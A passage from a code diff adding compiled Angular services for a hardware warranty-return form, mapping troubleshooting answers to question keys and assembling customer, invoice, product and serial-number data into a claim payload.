+            [RuleOptionEnum.orderedReplc, "wf.hasorderedreplc"],
+            [RuleOptionEnum.dockingAnotherPCYes, "wf.testedwithanotherpc"],
+            [RuleOptionEnum.dockingAnotherPCNo, "wf.testedwithanotherpc"],
+            [RuleOptionEnum.dockingCableYes, "wf.testedwithanothercable"],
+            [RuleOptionEnum.dockingCableNo, "wf.testedwithanothercable"],
+            [RuleOptionEnum.dockingCableYesv2, "wf.testedwithanothercable"],
+            [RuleOptionEnum.dockingCableNov2, "wf.testedwithanothercable"],
+            [RuleOptionEnum.dockingCableYesv3, "wf.testedwithanothercable"],
+            [RuleOptionEnum.dockingCableNov3, "wf.testedwithanothercable"],
+            [RuleOptionEnum.dockingCableYesv4, "wf.testedwithanothercable"],
+            [RuleOptionEnum.dockingCableNov4, "wf.testedwithanothercable"],
+            [RuleOptionEnum.dockingBIOSYes, "wf.haveupdatedbios"],
+            [RuleOptionEnum.dockingBIOSNo, "wf.haveupdatedbios"],
+            [RuleOptionEnum.dockingCompatibleYes, "wf.isdockingcompatible"],
+            [RuleOptionEnum.dockingCompatibleNo, "wf.isdockingcompatible"],
+            [RuleOptionEnum.dockingUsedYes, "wf.firsttimeusing"],
+            [RuleOptionEnum.dockingUsedNo, "wf.firsttimeusing"],
+            [RuleOptionEnum.diagnosticsYes, "wf.triedanotherpowersupply"],
+            [RuleOptionEnum.diagnosticsNo, "wf.triedanotherpowersupply"],
+            [RuleOptionEnum.dockingSupplyYes, "wf.triedanotherpowersupply"],
+            [RuleOptionEnum.dockingSupplyNo, "wf.triedanotherpowersupply"],
+            [RuleOptionEnum.workedOnDelivery, "wf.workedondelivery"],
+            [RuleOptionEnum.notWorkOnDelivery, "wf.workedondelivery"],
+            [RuleOptionEnum.createOrderYes, "wf.shouldCreateOrder"],
+            [RuleOptionEnum.createOrderNo, "wf.shouldCreateOrder"],
+            [RuleOptionEnum.cargoPicturesTaken, "wf.picturestaken"],
+            [RuleOptionEnum.cargoReportNotTaken, "wf.picturestaken"],
+            [RuleOptionEnum.cargoGoodsAvailable, "wf.goodsavailable"],
+            [RuleOptionEnum.cargoGoodsNAvailable, "wf.goodsavailable"],
+            [RuleOptionEnum.appleCareIncluded, "wf.appleCareRegistered"],
+            [RuleOptionEnum.appleCareNotIncluded, "wf.appleCareRegistered"],
+            [RuleOptionEnum.visibleDmgYes, "wf.isdmgvisible"],
+            [RuleOptionEnum.visibleDmgNo, "wf.isdmgvisible"],
+            [RuleOptionEnum.recIssueYes, "wf.isRecurringIssue"],
+            [RuleOptionEnum.recIssueNo, "wf.isRecurringIssue"],
+            [RuleOptionEnum.triedChargerYes, "wf.triedAnotherCharger"],
+            [RuleOptionEnum.triedChargerNo, "wf.triedAnotherCharger"],
+            [RuleOptionEnum.smallpcOtherChrgYes, "wf.triedAnotherCharger"],
+            [RuleOptionEnum.smallpcOtherChrgNo, "wf.triedAnotherCharger"],
+            [RuleOptionEnum.updatedDriversYes, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.updatedDriversNo, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.smallpcDriversUpYes, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.smallpcDriversUpNo, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.applePhoneSoftUpYes, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.applePhoneSoftUpNo, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.completeCareInc, "wf.completeCareRegistered"],
+            [RuleOptionEnum.completeCareNotInc, "wf.completeCareRegistered"],
+            [RuleOptionEnum.speakerSoftwareYes, "wf.triedUpdatingDevice"],
+            [RuleOptionEnum.speakerSoftwareNo, "wf.triedUpdatingDevice"],
+            [RuleOptionEnum.speakerSoftwareYesv2, "wf.triedUpdatingDevice"],
+            [RuleOptionEnum.speakerSoftwareNov2, "wf.triedUpdatingDevice"],
+            [RuleOptionEnum.projectorSocketYes, "wf.isconnectionviaoutlet"],
+            [RuleOptionEnum.projectorSocketNo, "wf.isconnectionviaoutlet"],
+            [RuleOptionEnum.projectorOutletYes, "wf.triedbypassingwalloutlet"],
+            [RuleOptionEnum.projectorOutletNo, "wf.triedbypassingwalloutlet"],
+            [RuleOptionEnum.speakerSourceYes, "wf.testedWithAnotherSource"],
+            [RuleOptionEnum.speakerSourceNo, "wf.testedWithAnotherSource"],
+            [RuleOptionEnum.projectorSourceYes, "wf.testedWithAnotherSource"],
+            [RuleOptionEnum.projectorSourceNo, "wf.testedWithAnotherSource"],
+            [RuleOptionEnum.speakerCableYes, "wf.triedAnotherCable"],
+            [RuleOptionEnum.speakerCableNo, "wf.triedAnotherCable"],
+            [RuleOptionEnum.adpIncluded, "wf.adpCareRegistered"],
+            [RuleOptionEnum.adpNotIncluded, "wf.adpCareRegistered"],
+            [RuleOptionEnum.tppIncluded, "wf.tppCareRegistered"],
+            [RuleOptionEnum.tppNotIncluded, "wf.tppCareRegistered"],
+            [RuleOptionEnum.depRegistered, "wf.depRegistered"],
+            [RuleOptionEnum.depNotRegistered, "wf.depRegistered"]
+        ]);
+    }
+    getQuestions() {
+        return new Map([
+            [RuleOptionEnum.ruleOptDOA, "wf.hasphysicaldamage"],
+            [RuleOptionEnum.ruleOptWorking, "wf.hasphysicaldamage"],
+            [RuleOptionEnum.ruleOptWDmgd, "wf.acceptcostproposal"],
+            [RuleOptionEnum.appleCareNotIncluded, "wf.acceptcostproposal"],
+            [RuleOptionEnum.completeCareNotInc, "wf.acceptcostproposal"],
+            [RuleOptionEnum.tppNotIncluded, "wf.acceptcostproposal"],
+            [RuleOptionEnum.adpNotIncluded, "wf.acceptcostproposal"],
+            [RuleOptionEnum.ruleOptWunDmgd, "wf.issuewithproduct"],
+            [RuleOptionEnum.packageDamaged, "wf.hasmaderemarks"],
+            [RuleOptionEnum.projectorNoise, "wf.appearsOnScreen"],
+            [RuleOptionEnum.projectorAudioQ, "wf.appearsOnScreen"],
+            [RuleOptionEnum.dockingCableYesv2, "wf.triedanotherpowersupply"],
+            [RuleOptionEnum.dockingCableNov2, "wf.triedanotherpowersupply"],
+            [RuleOptionEnum.speakerSourceYes, "wf.testedwithanothercable"],
+            [RuleOptionEnum.speakerSourceNo, "wf.testedwithanothercable"],
+            [RuleOptionEnum.speakerSoftwareYes, "wf.testedwithanothercable"],
+            [RuleOptionEnum.speakerSoftwareNo, "wf.testedwithanothercable"],
+            [RuleOptionEnum.dockingAnotherPCYes, "wf.testedwithanothercable"],
+            [RuleOptionEnum.dockingAnotherPCNo, "wf.testedwithanothercable"],
+            [RuleOptionEnum.portNotWorking, "wf.testedwithanothercable"],
+            [RuleOptionEnum.dockingCableYesv3, "wf.haveupdatedbios"],
+            [RuleOptionEnum.dockingCableNov3, "wf.haveupdatedbios"],
+            [RuleOptionEnum.dockingCompatibleYes, "wf.haveupdatedbios"],
+            [RuleOptionEnum.dockingCompatibleNo, "wf.haveupdatedbios"],
+            [RuleOptionEnum.dockingNoConnection, "wf.testedwithanotherpc"],
+            [RuleOptionEnum.dockingDead, "wf.testedwithanotherpc"],
+            [RuleOptionEnum.dockingPixel, "wf.testedwithanotherpc"],
+            [RuleOptionEnum.dockingPhysical, "wf.testedwithanotherpc"],
+            [RuleOptionEnum.dockingConIssues, "wf.testedwithanotherpc"],
+            [RuleOptionEnum.dockingCableYes, "wf.firsttimeusing"],
+            [RuleOptionEnum.dockingCableNo, "wf.firsttimeusing"],
+            [RuleOptionEnum.dockingCableYesv4, "wf.firsttimeusing"],
+            [RuleOptionEnum.dockingCableNov4, "wf.firsttimeusing"],
+            [RuleOptionEnum.dockingUsedYes, "wf.isdockingcompatible"],
+            [RuleOptionEnum.dockingUsedNo, "wf.isdockingcompatible"],
+            [RuleOptionEnum.projectorSocketYes, "wf.triedbypassingwalloutlet"],
+            [RuleOptionEnum.projectorSocketNo, "wf.triedbypassingwalloutlet"],
+            [RuleOptionEnum.projectorSourceYes, "wf.isconnectionviaoutlet"],
+            [RuleOptionEnum.projectorSourceNo, "wf.isconnectionviaoutlet"],
+            [RuleOptionEnum.speakerUnstable, "wf.triedUpdatingSoftware"],
+            [RuleOptionEnum.speakerConnection, "wf.triedUpdatingSoftware"],
+            [RuleOptionEnum.phoneFMIOn, "wf.triedUpdatingSoftware"],
+            [RuleOptionEnum.phoneFMIOff, "wf.triedUpdatingSoftware"],
+            [RuleOptionEnum.phoneSoftware, "wf.triedUpdatingSoftware"],
+            [RuleOptionEnum.packageNotDamaged, "wf.workedondelivery"],
+            [RuleOptionEnum.waybillYes, "wf.hasorderedreplc"],
+            [RuleOptionEnum.waybillNo, "wf.hasorderedreplc"],
+            [RuleOptionEnum.printerPaperStuck, "wf.originsOfIssue"],
+            [RuleOptionEnum.printerScanning, "wf.describeScanning"],
+            [RuleOptionEnum.printerQuality, "wf.describePrinting"],
+            [RuleOptionEnum.printerStriped, "wf.issuesWithScanning"],
+            [RuleOptionEnum.printerBlurred, "wf.issuesWithScanning"],
+            [RuleOptionEnum.printerFaded, "wf.issuesWithScanning"],
+            [RuleOptionEnum.printerScStriped, "wf.issuesWithPrinting"],
+            [RuleOptionEnum.printerScBlurred, "wf.issuesWithPrinting"],
+            [RuleOptionEnum.printerScFaded, "wf.issuesWithPrinting"],
+            [RuleOptionEnum.printerNoises, "wf.originsOfSound"],
+            [RuleOptionEnum.printerFeeder, "wf.describeSound"],
+            [RuleOptionEnum.printerTray, "wf.describeSound"],
+            [RuleOptionEnum.printerInMachine, "wf.describeSound"],
+            [RuleOptionEnum.printerSoundOther, "wf.describeSound"],
+            [RuleOptionEnum.pcFan, "wf.hasCmpltDiagnostics"],
+            [RuleOptionEnum.pcCharge, "wf.hasCmpltDiagnostics"],
+            [RuleOptionEnum.pcKeyboard, "wf.triedExternalKeyboard"],
+            [RuleOptionEnum.diagnosticsYes, "wf.triedAnotherCharger"],
+            [RuleOptionEnum.diagnosticsNo, "wf.triedAnotherCharger"],
+            [RuleOptionEnum.smallpcCharge, "wf.triedAnotherCharger"],
+            [RuleOptionEnum.pcTouchpad, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.pcWifi, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.pcLanCard, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.smallpcNoConnection, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.smallpcNoAudio, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.smallpcBadQuality, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.smallpcPairing, "wf.triedUpdatingDrivers"],
+            [RuleOptionEnum.updatedDriversNo, "wf.triedExternalMouse"],
+            [RuleOptionEnum.updatedDriversYes, "wf.triedExternalMouse"],
+            [RuleOptionEnum.applePhoneScreen, "wf.hasdeactivatedfmi"],
+            [RuleOptionEnum.applePhoneBackside, "wf.hasdeactivatedfmi"],
+            [RuleOptionEnum.pcBlackscreenSpecial, "wf.triedExternalMonitor"],
+            [RuleOptionEnum.pcDead, "wf.hasPressedReset"],
+            [RuleOptionEnum.pcBlackscreen, "wf.hasPressedReset"],
+            [RuleOptionEnum.pcFreeze, "wf.hasPressedReset"],
+            [RuleOptionEnum.orderedReplcNo, "wf.shouldCreateOrder"],
+            [RuleOptionEnum.depNotRegistered, "wf.workedonarrival"],
+            [RuleOptionEnum.depRegistered, "wf.workedonarrival"],
+            [RuleOptionEnum.workedOnDelivery, "wf.selectErrorType"],
+            [RuleOptionEnum.notWorkOnDelivery, "wf.selectErrorType"],
+            [RuleOptionEnum.cargoNeedRepair, "wf.selectErrorType"]
+        ]);
+    }
+    getFormControlName(type, name) {
+        return type === FieldTypeEnum.invoiceInfo ? "returnHardware-invoiceInformation" : "returnHardware-" + name;
+    }
+    getFieldOrderNumber(type) {
+        const typeEnum = type;
+        switch (typeEnum) {
+            case FieldTypeEnum.insuranceCheckbox:
+            case FieldTypeEnum.inputCheckbox:
+                return 1;
+            case FieldTypeEnum.invoiceInfo:
+                return 2;
+            case FieldTypeEnum.inputText:
+                return 3;
+            case FieldTypeEnum.textarea:
+                return 4;
+            case FieldTypeEnum.inputFile:
+                return 5;
+            default:
+                return 6;
+        }
+    }
+    getFieldLocale(infoForm, f, warrantyData) {
+        const typeEnum = f.type;
+        if (typeEnum === FieldTypeEnum.insuranceCheckbox) {
+            const selectedVendor = warrantyData.getVendorByCode(infoForm.value.vendor);
+            return `${selectedVendor.vendorName}-insurance`.toLowerCase();
+        }
+        return f.locale;
+    }
+    getPlaceholderText(caseType, localizeVar, ruleOptions, allRuleOptions) {
+        let placeholderText = 'wf.reasonproductreturn';
+        switch (localizeVar) {
+            case RuleOptionEnum.purchaseErrorDK:
+            case RuleOptionEnum.notWorkOnDelivery:
+            case RuleOptionEnum.discoveredWhenOpened:
+            case RuleOptionEnum.cargoGoodsAvailable:
+                placeholderText = 'wf.conditionQuestion';
+                break;
+        }
+        if (caseType === CaseTypeEnum.WarrantyRepair) {
+            const placeholder = this.getPlaceholderTextByRuleOptionsReason(ruleOptions);
+            if (placeholder.success)
+                placeholderText = placeholder.text;
+            else {
+                const questions = this.getQuestions();
+                if (questions.has(localizeVar)) {
+                    placeholderText = questions.get(localizeVar);
+                }
+                else if (this.ruleOptionsHasRuleOptions(ruleOptions, allRuleOptions) !== false)
+                    placeholderText = 'wf.selectsubcategory';
+                else
+                    placeholderText = 'wf.selectoptions';
+            }
+        }
+        return placeholderText;
+    }
+    getPlaceholderTextByRuleOptionsReason(ruleOptions) {
+        for (let o of ruleOptions) {
+            switch (o.localizeVar) {
+                case RuleOptionEnum.cargoNeedRepair:
+                case RuleOptionEnum.cargoNoNeedRepair:
+                    return { success: true, text: 'wf.providerepairoptions' };
+                case RuleOptionEnum.orderedReplc:
+                case RuleOptionEnum.orderedReplcNo:
+                    return { success: true, text: 'wf.hasorderedrepic' };
+                case RuleOptionEnum.cargoGoodsAvailable:
+                case RuleOptionEnum.cargoGoodsNAvailable:
+                    return { success: true, text: 'wf.availableforinspection' };
+                case RuleOptionEnum.cargoPicturesTaken:
+                case RuleOptionEnum.cargoReportNotTaken:
+                    return { success: true, text: 'wf.isdamagesettled' };
+                case RuleOptionEnum.appleCareIncluded:
+                case RuleOptionEnum.appleCareNotIncluded:
+                    return { success: true, text: 'wf.appleCare' };
+                case RuleOptionEnum.visibleDmgYes:
+                case RuleOptionEnum.visibleDmgNo:
+                    return { success: true, text: 'wf.isdmgvisible' };
+                case RuleOptionEnum.phoneFMIOn:
+                case RuleOptionEnum.phoneFMIOff:
+                    return { success: true, text: 'wf.hasdeactivatedfmi' };
+                case RuleOptionEnum.recIssueYes:
+                case RuleOptionEnum.recIssueNo:
+                    return { success: true, text: 'wf.isRecurringIssue' };
+                case RuleOptionEnum.speakerSourceYes:
+                case RuleOptionEnum.speakerSourceNo:
+                case RuleOptionEnum.projectorSourceYes:
+                case RuleOptionEnum.projectorSourceNo:
+                    return { success: true, text: 'wf.testedwithanothersource' };
+                case RuleOptionEnum.speakerCableYes:
+                case RuleOptionEnum.speakerCableNo:
+                    return { success: true, text: 'wf.testedwithanothercable' };
+                case RuleOptionEnum.completeCareInc:
+                case RuleOptionEnum.completeCareNotInc:
+                    return { success: true, text: 'wf.completeCare' };
+                case RuleOptionEnum.adpIncluded:
+                case RuleOptionEnum.adpNotIncluded:
+                    return { success: true, text: 'wf.adpCare' };
+                case RuleOptionEnum.tppIncluded:
+                case RuleOptionEnum.tppNotIncluded:
+                    return { success: true, text: 'wf.tppCare' };
+                default:
+                    break;
+            }
+        }
+        return { success: false, text: '' };
+    }
+    ;
+    ruleOptionsHasRuleOptions(ruleOptions, allRuleOptions) {
+        for (let o of ruleOptions) {
+            if (this.hasChilds(o, allRuleOptions)) {
+                return true;
+            }
+        }
+        return false;
+    }
+    filterRuleOptions(reason, ruleOptions) {
+        const options = ruleOptions.filter(o => o.parentId === reason.nodeId && o.ruleId === reason.ruleId);
+        return this.sortOutRules(options);
+    }
+    sortOutRules(options) {
+        if ((options === null || options === void 0 ? void 0 : options.length) > 0) {
+            for (let o of options) {
+                switch (o.localizeVar) {
+                    case RuleOptionEnum.ruleOptDOA:
+                    case RuleOptionEnum.ruleOptWorking:
+                        return this.unshiftRuleOption(options, RuleOptionEnum.ruleOptWorking);
+                    case RuleOptionEnum.ruleOptWDmgd:
+                    case RuleOptionEnum.ruleOptWunDmgd:
+                        return this.unshiftRuleOption(options, RuleOptionEnum.ruleOptWunDmgd);
+                }
+            }
+        }
+        return options;
+    }
+    unshiftRuleOption(ruleOptions, option) {
+        if ((ruleOptions === null || ruleOptions === void 0 ? void 0 : ruleOptions.length) > 0) {
+            const movedItem = ruleOptions.find(o => o.localizeVar === option);
+            const filteredArray = ruleOptions.filter(o => o.localizeVar !== option);
+            if (movedItem) {
+                filteredArray.unshift(movedItem);
+                return filteredArray;
+            }
+        }
+        return ruleOptions;
+    }
+    ;
+    hasChilds(item, options) {
+        if (item) {
+            const nodes = options.filter(o => item.nodeId === o.parentId && item.ruleId === o.ruleId);
+            return (nodes === null || nodes === void 0 ? void 0 : nodes.length) > 0;
+        }
+        return false;
+    }
+    resolveManufacturerAlias(manufacturer) {
+        const key = manufacturer ? manufacturer.toLowerCase() : "";
+        const result = this.productManufacturerAliases[key];
+        return result ? result : manufacturer;
+    }
+}
+FormComponentService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FormComponentService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
+FormComponentService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FormComponentService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FormComponentService, decorators: [{
+            type: Injectable,
+            args: [{
+                    providedIn: 'root'
+                }]
+        }] });
+
+class WarrantyDataMappingService {
+    constructor(formComponentService, configService, serialService) {
+        this.formComponentService = formComponentService;
+        this.configService = configService;
+        this.serialService = serialService;
+        this.mapServiceType = function (sendData) {
+            const optionList = sendData.optionList;
+            let selectedServiceType = 5 /* WarrantyClaim */;
+            optionList.forEach((optionVal) => {
+                switch (optionVal.localizeVar) {
+                    case RuleOptionEnum.optCostProposal:
+                    case RuleOptionEnum.ruleoptCostProp:
+                        selectedServiceType = 6 /* CostProposal */;
+                        break;
+                    case RuleOptionEnum.optWarrantyClaim:
+                        selectedServiceType = 5 /* WarrantyClaim */;
+                        break;
+                    case RuleOptionEnum.optWrongDelivery:
+                        selectedServiceType = 3 /* WrongDelivery */;
+                        break;
+                    case RuleOptionEnum.otpWrongOrder:
+                        selectedServiceType = 2 /* WrongOrder */;
+                        break;
+                    case RuleOptionEnum.ruleOptDOA:
+                        selectedServiceType = 4 /* DeadOnArrival */;
+                        break;
+                    case RuleOptionEnum.ruleOptTD:
+                        selectedServiceType = 1 /* TransportationDamage */;
+                        break;
+                    case RuleOptionEnum.packageDamaged:
+                        selectedServiceType = 7 /* CargoClaim */;
+                        break;
+                    case RuleOptionEnum.discoveredWhenOpened:
+                        selectedServiceType = 7 /* CargoClaim */;
+                        break;
+                    case RuleOptionEnum.cargoNeedRepair:
+                        selectedServiceType = 8 /* RepairRequest */;
+                        break;
+                }
+            });
+            sendData.serviceType = selectedServiceType;
+            return sendData;
+        };
+    }
+    ensureConfig() {
+        this.config = this.configService.getConfig();
+    }
+    createSendData(mainForm, warrantyData) {
+        const sendDataList = [];
+        const lines = mainForm.get("lines");
+        lines.controls.forEach((line, index) => {
+            if (line.value.isChecked) {
+                const info = line.get("info");
+                const serial = this.serialService.getSerialNumber(line);
+                let sendData = this.createCase(mainForm, line, warrantyData);
+                sendData.reqFields = this.mapRequiredFields(info, serial);
+                sendData.invoice = this.mapInvoices(info, warrantyData);
+                sendData.optionList = this.mapOptions(info, warrantyData);
+                sendData.products = this.mapProducts(mainForm, line);
+                sendData = this.mapDeliveryData(sendData, line);
+                sendData = this.mapAlternativeContact(sendData, mainForm);
+                sendData = this.mapServiceType(sendData);
+                sendDataList.push(sendData);
+            }
+        });
+        return sendDataList;
+    }
+    createLastUsedDetails(sendData) {
+        var _a;
+        const details = new LastUsedDetails();
+        if (((_a = sendData.invoice) === null || _a === void 0 ? void 0 : _a.length) > 0) {
+            details.invoiceAddress = sendData.invoice[0].invoiceAddress;
+            details.invoiceRef = sendData.invoice[0].invoiceRef;
+        }
+        details.customerAddress = sendData.customerAddress;
+        details.customerReference = sendData.customerReference;
+        details.customerFirstName = sendData.firstName;
+        details.customerLastName = sendData.lastName;
+        details.customerEmail = sendData.email;
+        details.customerPhoneNumber = sendData.phone;
+        return details;
+    }
+    createCase(mainForm, line, warrantyData) {
+        var _a;
+        const customerDetails = mainForm.get("customerDetails");
+        const sendData = new WarrantySendData();
+        sendData.caseType = this.config.defConfig.caseType;
+        sendData.sendEmail = mainForm.value.sendConfirmationEmailEnabled;
+        sendData.email = customerDetails.value.email;
+        sendData.firstName = customerDetails.value.firstName;
+        sendData.lastName = customerDetails.value.lastName;
+        sendData.customerNumber = customerDetails.value.customerNumber;
+        sendData.customerName = customerDetails.value.customerName;
+        sendData.customerReference = customerDetails.value.customerReference;
+        sendData.phone = customerDetails.value.phone;
+        sendData.customerAddress = customerDetails.value.customerAddress;
+        sendData.location = customerDetails.value.location;
+        sendData.contactPreference = customerDetails.value.contactPreference;
+        if (line.value.productDescription) {
+            sendData.description = line.value.productDescription;
+        }
+        else
+            sendData.description = "";
+        if ((_a = this.config.defData) === null || _a === void 0 ? void 0 : _a.orderNumber) {
+            sendData.orderNumberReference = this.config.defData.orderNumber;
+        }
+        const info = line.get("info");
+        const vendor = warrantyData.getVendorByCode(info.value.vendor);
+        sendData.vendorId = vendor.id;
+        if (info.value.category) {
+            const category = warrantyData.getCategoryByName(info.value.category);
+            sendData.productTypeId = category.id;
+        }
+        return sendData;
+    }
+    mapDeliveryData(sendData, line) {
+        const info = line.get("info");
+        if (line.get("deliveryDate").value) {
+            sendData.deliveryDate = line.get("deliveryDate").value;
+        }
+        if (info.value.deliveryDate) {
+            sendData.purchaseDeliveryDate = info.value.deliveryDate;
+        }
+        else
+            sendData.purchaseDeliveryDate = "";
+        if (!this.config.OrderIsNull) {
+            sendData.city = this.config.defData.deliveryHeader.city;
+            sendData.zipCode = this.config.defData.deliveryHeader.zipcode;
+            sendData.street = this.config.defData.deliveryHeader.street;
+            if (sendData.street === null || sendData.street.length === 0) {
+                sendData.street = this.config.defData.deliveryHeader.street2;
+            }
+        }
+        else {
+            sendData.city = "";
+            sendData.street = "";
+        }
+        return sendData;
+    }
+    mapInvoices(info, warrantyData) {
+        const invoices = [];
+        const reqFieldsList = info.get("reqFieldsList").value;
+        const reqFields = info.get("reqFields");
+        reqFieldsList.filter(f => f.type === FieldTypeEnum.invoiceInfo).forEach(rf => {
+            const formControlName = this.formComponentService.getFormControlName(rf.type, rf.name);
+            const fieldValue = reqFields.controls[formControlName].value;
+            const transport = warrantyData.getTransportOption(fieldValue.transportMethod);
+            invoices.push(new WarrantySendDataInvoice(fieldValue.orgReference, fieldValue.invoiceAddress, fieldValue.invoiceReference, transport.text));
+        });
+        return invoices;
+    }
+    mapProducts(mainForm, line) {
+        var _a;
+        const prodcuts = [];
+        const productNumber = this.config.defConfig.isAnonymous && this.config.OrderIsNull ?
+            mainForm.value.productNumber : line.value.productNumber;
+        const productDescription = this.config.defConfig.isAnonymous && this.config.OrderIsNull ?
+            mainForm.value.productDescription : line.value.productDescription;
+        if (!this.config.OrderIsNull && ((_a = line.value.serialNumbers) === null || _a === void 0 ? void 0 : _a.length) > 0) {
+            const items = line.value.serialNumbers.filter(s => s.isChecked);
+            prodcuts.push(new WarrantySendDataProduct(productNumber, productDescription, 0, items.map(sn => new WarrantySendDataSerialNumber(true, sn.serial))));
+        }
+        else if (this.config.OrderIsNull) {
+            let emptySerialNumbers = null;
+            if (mainForm.value.serialNumber) {
+                emptySerialNumbers = [new WarrantySendDataSerialNumber(true, mainForm.value.serialNumber)];
+            }
+            prodcuts.push(new WarrantySendDataProduct(productNumber, productDescription, 0, emptySerialNumbers));
+        }
+        else if (line.value.quantity > 0) {
+            prodcuts.push(new WarrantySendDataProduct(productNumber, productDescription, line.value.quantity));
+        }
+        return prodcuts;
+    }
+    mapOptions(info, warrantyData) {
+        const options = [];
+        Object.keys(info.controls).forEach(ct => {
+            if (ct.startsWith("node-") || ct === "reasonProductReturn") {
+                let option = info.get(ct).value;
+                if (option) {
+                    if (!Array.isArray(option)) {
+                        option = [option];
+                    }
+                    option.forEach(o => {
+                        const ruleOption = warrantyData.getRuleOption(o);
+                        options.push(ruleOption);
+                    });
+                }
+            }
+        });
+        return options;
+    }
+    mapRequiredFields(info, serial) {
+        const reqFieldsList = info.get("reqFieldsList").value;
+        const reqFields = info.get("reqFields");
+        const reqFieldsToSend = [];
+        const category = info.get("category").value;
+        reqFieldsList.forEach(rf => {
+            const formControlName = this.formComponentService.getFormControlName(rf.type, rf.name);
+            switch (rf.type) {
+                case FieldTypeEnum.invoiceInfo:
+                    break;
+                case FieldTypeEnum.inputFile:
+                    reqFieldsToSend.push(new WarrantySendDataRequiredField(rf.id, rf.name, reqFields.controls[`${Constants.base64}${formControlName}`].value, rf.ruleOption.nodeId));
+                    break;
+                default:
+                    const fieldValue = this.serialService.serialNoExists(rf.name, category, serial) ? serial : reqFields.controls[formControlName].value;
+                    if (fieldValue) {
+                        reqFieldsToSend.push(new WarrantySendDataRequiredField(rf.id, rf.name, fieldValue, rf.ruleOption.nodeId));
+                    }
+                    break;
+            }
+        });
+        return reqFieldsToSend;
+    }
+    mapAlternativeContact(sendData, form) {
+        if (form.contains("alternativeContact")) {
+            sendData.alternativeContact = form.get("alternativeContact").value;
+        }
+        return sendData;
+    }
+}
+WarrantyDataMappingService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyDataMappingService, deps: [{ token: FormComponentService }, { token: ConfigService }, { token: SerialNumberService }], target: i0.ɵɵFactoryTarget.Injectable });
+WarrantyDataMappingService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyDataMappingService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyDataMappingService, decorators: [{
+            type: Injectable,
+            args: [{
+                    providedIn: 'root'
+                }]
+        }], ctorParameters: function () { return [{ type: FormComponentService }, { type: ConfigService }, { type: SerialNumberService }]; } });
+
+function customPatternValidator(pattern, message) {
+    return (control) => {
+        const forbidden = pattern.test(control.value);
+        return !forbidden ? { forbiddenValue: { value: control.value, message: message } } : null;
+    };
+}
+
+class WarrantyFormService {
+    createMainForm(config, orderLines) {
+        this.destroy$ = new Subject();
+        const form = new FormGroup({
+            lines: new FormArray([]),
+            sendConfirmationEmailEnabled: new FormControl(false, Validators.required),
+            alternativeContactEnabled: new FormControl(false, Validators.required),
+            agreeThatInfoIsCorrect: new FormControl(false, Validators.requiredTrue),
+        });
+        if (config.OrderIsNull) {
+            form.addControl("serialNumber", new FormControl(""));
+            if (config.defConfig.isAnonymous) {
+                form.addControl("productNumber", new FormControl(""));
+                form.addControl("productDescription", new FormControl(""));
+            }
+        }
+        form.get("alternativeContactEnabled").valueChanges
+            .pipe(takeUntil(this.destroy$))
+            .subscribe(result => this.addRemoveAlternativeContactForm(form, result));
+        if (config.returnWithSameReason) {
+            form.addControl("returnAllItems", new FormControl(false));
+            form.get("returnAllItems").valueChanges
+                .pipe(takeUntil(this.destroy$))
+                .subscribe(result => {
+                const lines = form.get("lines");
+                for (let i = lines.length - 1; i >= 0; i--) {
+                    lines.at(i).patchValue({ isChecked: result, isActive: false }, { emitEvent: false, onlySelf: true });
+                }
+                if (result && lines.length > 0) {
+                    lines.at(0).get("isActive").setValue(true);
+                }
+            });
+        }
+        return this.createProductForms(form, config, orderLines);
+    }
+    createProductForms(form, config, orderLines) {
+        const linesControl = form.get('lines');
+        orderLines.forEach(i => {
+            var _a;
+            const lineForm = new FormGroup({
+                productDescription: new FormControl(i.productDescription),
+                productNumber: new FormControl(i.itemNo),
+                quantity: new FormControl(1),
+                deliveryDate: new FormControl(i.deliveryDate),
+                serialNumbers: new FormArray([]),
+                serialNumbersSearch: new FormControl(''),
+                serialNumbersSelectAll: new FormControl(true),
+                isChecked: new FormControl(!config.isCompletedOrderCase),
+                isActive: new FormControl(!config.isCompletedOrderCase),
+                info: this.createInfoForm()
+            });
+            lineForm.get("isChecked").valueChanges
+                .pipe(takeUntil(this.destroy$))
+                .subscribe(result => {
+                const formLines = form.get("lines");
+                formLines.controls.forEach(x => x.get("isActive").setValue(false));
+                if (!result) {
+                    const checkedValueIndex = formLines.value.findIndex(l => l.isChecked);
+                    if (checkedValueIndex != -1) {
+                        formLines.at(checkedValueIndex).get("isActive").setValue(true);
+                    }
+                    form.patchValue({ returnAllItems: false }, { emitEvent: false, onlySelf: true });
+                }
+                else {
+                    form.patchValue({ returnAllItems: formLines.value.every(l => l.isChecked) }, { emitEvent: false, onlySelf: true });
+                }
+                lineForm.get("isActive").setValue(result);
+            });
+            if (((_a = i.serialNumber) === null || _a === void 0 ? void 0 : _a.length) > 0)
+                this.subscribeSerialNumbersSearchValueChanges(lineForm, i, config);
+            else
+                this.subscribeQunatityValueChanges(lineForm, i);
+            linesControl.push(lineForm);
+        });
+        return form;
+    }
+    subscribeSerialNumbersSearchValueChanges(lineForm, orderLine, config) {
+        lineForm.get("serialNumbersSearch").valueChanges
+            .pipe(debounceTime(200), takeUntil(this.destroy$))
+            .subscribe(result => {
